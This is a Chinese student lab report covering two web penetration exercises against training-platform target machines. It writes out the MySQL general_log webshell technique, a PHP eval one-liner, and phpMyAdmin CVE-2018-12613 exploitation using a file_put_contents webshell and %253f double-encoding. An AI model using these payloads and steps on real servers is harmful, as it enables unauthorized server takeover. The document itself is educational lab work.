实训任务1 Web站点渗透一
- 平台内分别启动靶机(启动即可无需其他操作)和攻击机,后续操作全部在攻击机中完成。
- 在攻击机中根据靶机IP地址使用chrome浏览器打开并浏览靶机中架设的网站。
- 合理选择攻击机中的工具对目标Web进行扫描,收集信息,了解web服务器类型,查看是否有可疑端口、地址或文件。
使用御剑软件进行目录扫描 - 根据可疑端口、地址或文件,设法找到网站数据库连接的地址和root密码。
root
root - 以root权限登录网站数据库后,尝试利用日志文件来进行 getshell。首先在 sql 处执行“SHOW VARIABLES LIKE 'general%'”查看是否开启日志功能以及日志文件的保存路径。
- 如日志功能暂未开启。可以执行“set global general_log = "ON";”开启 mysql 日志功能,再次确认日志功能是否开启。
- 之后执行 sql 语句“select ‘<?php @eval($_POST[1]);?>’”,向日志文件中写入 php 一句话木马。
注意不要输错,输错后,在最后会出错。 - 但由于在linux中mysql数据库的日志与web目录的用户权限是分开的,我们此时还无法通过目录地址访问该日志文件。
- 修改日志文件存储路径和文件名的语句为“set global general_log_file=' 绝对路径';”。
- 寻找网站在服务器上的绝对地址(浏览可能包含该信息的文件)。
- 执行:“set global general_log_file=' C://xxx//xxx//xxx//shell.php';”将日志文件的存储路径改为站点根目录下的 shell.php 文件。
- 重新写入php一句话木马。
- 之后在浏览器中访问shell.php,查看是否能够访问成功。
- 使用webshell管理工具连接创建的shell.php文件,控制服务器。
打开蚁剑软件----右击添加数据----地址http://+ip地址+/shell.php----密码1----测试连接(成功)----添加
点击所添加的数据条,成功!
实训任务2 Web站点渗透二
- 平台内分别启动靶机(启动即可无需其他操作)和攻击机,后续操作全部在攻击机中完成。
- 在攻击机中根据靶机IP地址使用chrome浏览器打开并浏览靶机中架设的网站。
- 合理选择攻击机中的工具对目标Web进行扫描,收集信息,了解web服务器类型,查看是否有可疑端口、地址或文件。
使用御剑软件进行目录扫描 - 根据可疑端口、地址或文件,设法找到网站数据库连接的地址和密码。
御剑中扫描出的双击打开一个后缀为.zip,下载后,解压出来,找config.php的文件使用notepad++打开 - 登录网站数据库后,查看数据库管理系统的版本号,并在互联网中搜索是否有可以利用的安全漏洞。
参考内容:phpMyAdmin 4.8.x 本地文件包含漏洞利用 | Vulnspy Blog
左侧图标主页
- 利用 CVE-2018-12613 进行 getshell。在 SQL 语句执行处执行SELECT “ <?php file_put_contents('shell.php','<?php @eval($_POST[1]);?>');?>” ,这句话的含义为向 shell.php 文件中写入一句话木马(但还没有真正成功创建)。
- 打开浏览器的开发者工具(F12)获取sessionID(phpmyadmin的session会保存近期执行过的sql语句)。
选定那一行的Value就是该sessionID - 根据漏洞利用原理:PHP会自动urldecode一次加百分号的参数,提交%253f(?的urlencode的urlencode)的时候自动转成%3f,满足该版本软件的白名单条件不会被后台过滤掉,此时%253f/就会被认为是一个目录,从而include。即? -> %3f -> %253f。
以此构造url如下:
(在chrome浏览器中输入该网址)
4.使用webshell管理工具连接创建的shell.php文件,控制服务器。
打开蚁剑----添加数据----http://+IP+/phpmyadmin/shell.php----密码:1----测试连接,成功----添加
实验心得
通过本次实验,我对web入侵的一般步骤有了更深的了解,并且对web渗透测试有了很深的了解。